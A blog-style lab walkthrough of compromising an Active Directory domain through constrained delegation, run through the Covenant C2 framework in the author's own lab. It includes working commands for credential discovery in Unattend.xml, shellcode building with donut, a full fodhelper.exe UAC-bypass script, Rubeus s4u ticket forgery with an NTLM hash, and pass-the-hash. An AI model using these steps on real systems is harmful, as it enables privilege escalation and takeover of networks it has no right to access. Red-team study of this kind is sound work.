Constrained Delegation

In previous posts, I have discussed how to setup an AD lab in AWS, attack AD using Kerberoast, and attacking AD with Unconstrained Delegation. In this post I am going to discuss another attack I built into my lab Constrained Delegation.

This will all be done through Covenant C2, which I discussed how to setup in the lab in this post.

What is Constrained Delegation

First off, you may want to read Harmj0y’s posts discussing Kerberos delegation, here and here.

Whereas “Unconstrained” delegation can allow for a system to request kerberos tickets for a user for any service in the domain, “Constrained” delegation is meant to only allow a computer or user account to request kerberos tickets for a specified service.

Constrained Delegation allows for a computer or user account to “delegate” kerberos authentication to specified kerberos services. As an example, Account1 can be configured to delegate authentication to the “TIME” service on System1. This means that Account1 can request TGS tickets for any user in the domain (unless they are marked as “sensitive do not delegate”), send that TGs ticket to System1, and access the TIME service as the user.

If an attacker were to gain control of the credentials for Account1, they could then request TGS tickets for any user they want, such as the domain admin, and access the TIME service as the domain admin user.

Discover Constrained Delegation

When accounts are configured for Constrained Delegation, the “userAccountControl” field on their AD object will be modified to have the “TRUSTED_TO_AUTH_FOR_DELEGATION” value. PowerView allows you to easily search for computers or users with this value set using the “-TrustedToAuth” flag. In my lab, one system is configured for Constrained Delegation. I “discovered” it with the following PowerView command.

Get-DomainComputer -TrustedToAuth | select -exp dnshostname

This revealed that wkst01 was configured for Constrained Delegation. The AD object for wkst01 should also have the “msds-AllowedToDelegateTo” field that specifies which services it can delegate for. To find what services it could delegate for, I used the following PowerView command.

Get-DomainComputer wkst01 | select -exp msds-AllowedToDelegateTo

So, wkst01 can delegate to the cifs service on srv01. cifs is the service that allows users to access the file system remotely.

How to Exploit Constrained Delegation

In order to exploit this issue, we will need to compromise the wkst01 account. Computer objects in AD have user accounts that end in “$”, so for wkst01 that is wkst01$. These accounts also have passwords associated with them. Typically these passwords are randomly generated and changed every 30 days. In order to exploit Constrained Delegation here, then, we’ll need to gain administrator privileges on the wkst01 system.

Local Privilege Escalation

To start this exercise, I ran a Covenant grunt on wkst01 with the regularuser account. This user is not a local administrator on wkst01. In order to compromise the wkst01$ account, we’d first need to gain local administrator privileges to wkst01.

To do this, I used Covenant’s builtin “SharpUp” functionality, which was ported into Covenant from GhostPack. SharpUp will search the system for common issues that can allow for local privilege escalation. Running it on wkst01 revealed the following.

SharpUp

SharpUp discovered a “Unattended Install File” at “C:\Windows\Panther\Unattend.xml.” An “Unattended install File” is otherwise known as an “Answer File“, and they allow for administrators to specify settings for Windows systems when they are build using Windows Setup. These files often contain local administrator passwords that are used during the setup process. The contents of the Unattend.xml file are shown below.

type C:\Windows\Panther\Unattend.xml

Revealed is the password for the workstationadmin user. This user belongs to the WorkstationAdmins group, which is a member of the local Administrators group on wkst01.

Covenant has a “ShellCmdRunAs” command that allows you to execute commands local as a specified user. It requires that you know the user’s password. A new grunt launcher was executed using ShellCmdRunAs.

When the task completed, a new grunt running as workstationadmin was received.

From Medium to High Integrity

The new grunt is running in “Medium” integrity, meaning it is not running in an elevated context. Even though workstationadmin is a local administrator, if you tried to do something that required elevated privileges from this grunt, like access lsass.exe process memory with mimikatz, you will get access denied errors. What is preventing this is the “User Access Control” (UAC), or the popup that asks you if you want to do sensitive tasks when working normally on your system.

To get a grunt in High integrity, UAC will need to be bypassed. Unfortunately, the UAC bypasses that I could think to run through Covenant were all patched as of 1809. So, I left my system unpatched to continue with this attack. If I were on a different system, I could use wmic running as workstation admin to start a process on wkst01, which would run in High integrity. Unfortunately, running wmic locally one wkst01 would only run in the same integrity as my grunt process, which was medium (D:).

So, what I chose to do to get around this was use Rastamouse‘s TikiSpawnElevated that is a part of his TikiTorch suite of tools.

TikiSpawnElevated uses a Token Duplication technique to bypass UAC. As I had mentioned, this has since been patched, but it will work on my current setup for wkst01. TikiSpawnElevated will take your C2 agent shellcode you provide it and then inject it into a new process that then executes your shellcode.

One problem with this is that Covenant grunts are .NET Assemblies, which are not quite the same as an ordinary binary and thus can’t directly be converted to shellcode to be used for this. Fortunately, a great tool called “donut” has been created to solve this issue. Even more fortunate, Rastamast wrote a blog post on how to use donut with a Covenant grunt launcher here that the following will be based on.

To get started, create a grunt binary launcher and download it to your system.

Then, download the donut releases for windows here. Extract, and navigate to the directory containing donut.exe. Execute the following command to convert GruntStager.exe to a .bin file containing the donut shellcode.

donut.exe -f C:\Exclusions\Payloads\GruntStager.exe -o C:\Exclusions\Payloads\Grunt.bin

You can then base64 encode the Grunt.bin file’s contents and pipe it into your clipboard.

[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Exclusions\Payloads\Grunt.bin")) | clip

This encoded shellcode will need to be added to TikiSpawnElevated. Download the TikiTorch project from Github, and then navigate to the TikiSpawnElevated directory and open TikiSpawnElevated.csproj in Visual Studio. You should see a line starting with “byte[] shellcode =Convert.FromBase64String(“. Paste you encoded shellcode there.

Then, build TikiSpawnElevated by clicking Build -> Build TikiSpawnElevated.

If the build is successful, you’ll see that the executable was built into the following directory: TikiTorch-master\TikiTorch-master\TikiSpawnElevated\bin\Debug\TikiSpawnElevated.exe

Now, you can use the “Assembly” functionality of Covenant to reflectively load the TikiSpawnElevated.exe assembly through your grunt. Using the workstationadmin grunt, go to Tasks and then Assembly. TikiSpawnElevated.exe should only require one argument, “-b”, which is the binary it will spawn and inject your shellcode into. For this example I chose C:\windows\system32\cmd.exe

This should execute, and you’ll receive a new grunt in High integrity.

Fodhelper.exe UAC Bypass

After I had published this, I was a little unsatisfied with using TikiSpawnElevated since the method it used was “patched” on some systems. I found myself scrolling through the “redteam” hashtag on twitter when I stumbled about this medium post by z3roTrust. The post mentions a UAC bypass technique using the fodhelper.exe file on Windows, and if you follow the links in the post you’ll eventually get to this github page by winscripting.blog.

The fodhelper.exe UAC bypass works by modifying registry keys associated with fodhelper.exe. A “command” is inserted into one of the registry keys. Then, when fodhelper.exe is executed, the command is executed with elevated privileges. The PoC shown below (from winscripting.blog’s GitHub) will launch a new powershell window.

function FodhelperBypass(){ 
 Param (
           
        [String]$program = "cmd /c start powershell.exe" #default
       )

    #Create registry structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force

    #Perform the bypass
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    #Remove registry structure
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

}

I tested this all out, and it worked great. I inserted a powershell launcher for a grunt, and I got a grunt back in high integrity. Perfect!

As a small challenge to myself, I wanted to recreate the FodhelperBypass.ps1 script in C# to have it reflectively loaded through a grunt. I also wanted it to allow someone to insert whatever command they wanted into the registry key to be executed. The code for this can be found on my github.

My fodhelperbypass will accept any command as a base64 encoded string. Originally I had it as a regular string, such as having someone run ‘SharpFodhelperBypass.exe “powershell <something>”‘, but this would fail when running through a grunt. The reason it was failing is that the Assembly function of Covenant parses the arguments you provide it, and splits the argements by a space. So, it broke up my command into multiple arguments, instead of one, even when I surrounded it by quotes. There was surely an easy fix to this to still allow a user to enter the literal command they wanted, but I figured it would be quicker and easier for the argument to just be one base64 encoded string that SharpFodhelperBypass would then decode.

To have a powershell launcher execute with the bypass, I base64 encoded the command using https://www.base64encode.org/.

I then compiled the bypass binary, and used Covenant’s Assembly function to reflectively load it through my medium integrity grunt.

This returned a new grunt process running in high integrity.

Crafting the Kerberos Tickets

Now that we have a grunt in high integrity, LogonPasswords can be used to compromise the wkst01$ user.

The NTLM password hash for the wkst01$ will be used to request tickets as wkst01$. GhostPack’s Rubeus is ported into Covenant, and it’s s4u functionality allows for constrained delegation abuse.

Rubeus requires a few pieces of information to attack constained delegation. 1.) the user configured for delegation (wrkst01$) 2.) the hash for that user’s password 3.) the service/spn that can be delegated for (cifs/srv01) and 4.) the user to impersonate. For this, we will impersonate the domain admin user murphda. The rubeus command to in covenant is as follows:

s4u /user:wkst01$ /rc4:80f8356fcf08e1083c6063ae27fbbb4f /impersonateuser:murphda /domain:murph.coop /dc:dc01.murph.coop /msdsspn:cifs/srv01.murph.coop /ptt

This will inject the ticket into our session, and we should now be able to access the file system of srv01 as the murphda user.

If you read through the options for Rubeus’s s4u, you’ll see there is an option for “/altservice”. This allows you to provide an “alternate” service to request the TGS for. Basically, when you request a TGS for constrained delegation, the service name you provide is not protected, only the name of the service you are requesting the service for. So, one thing you could then do is request a TGS for cifs/srv01, and then after receiving the TGS ticket, substitute cifs for another service, such as HTTP for ps-remoting. Rubeus does this for you with the /altservice option.

s4u /user:wkst01$ /rc4:80f8356fcf08e1083c6063ae27fbbb4f /impersonateuser:murphda /domain:murph.coop /dc:dc01.murph.coop /msdsspn:cifs/srv01.murph.coop /altservice:http /ptt

After this ticket is requested and injected, you can use klist to confirm that you now have a kerberos ticket for the HTTP service.

Using “invoke-command”, you can test that this ticket is valid and allows access to srv01 as the murphda user.

Using ps-remoting, you can then launch a grunt on srv01 as murphda.

And then the new murphda grunt should be received.

I then access the murphda grunt, and noticed a bit of a problem. I was running as the murphda user, but I was not able to access the file system of the domain controller.

This seemed odd. I was the DA, why was I getting access denied? I tested it manually as well outside of Covenant, repeating the same steps to exploit constrained delegation for wkst01$ and start a ps-remoting session on srv01 as murphda. The manual session also couldn’t access the DC’s file system.

Then, I realized, that I didn’t have kerberos tickets to access the domain, or murphda’s TGT to request new tickets for that user. I could only request tickets for services on SRV01 as murphda. This was confirmed by klist showing no TGT ticket for murphda in the new grunt.

I was still able to able to access srv01 as murphda, though, so I ran LogonPasswords. Thankfully, the murphda user had a logon session (ok, well, I did that myself…) so I was able to get murphda’s ntlm hash and could then authenticate to the domain as DA with pass-the-hash.

So, yay! compromising a domain through constrained delegation.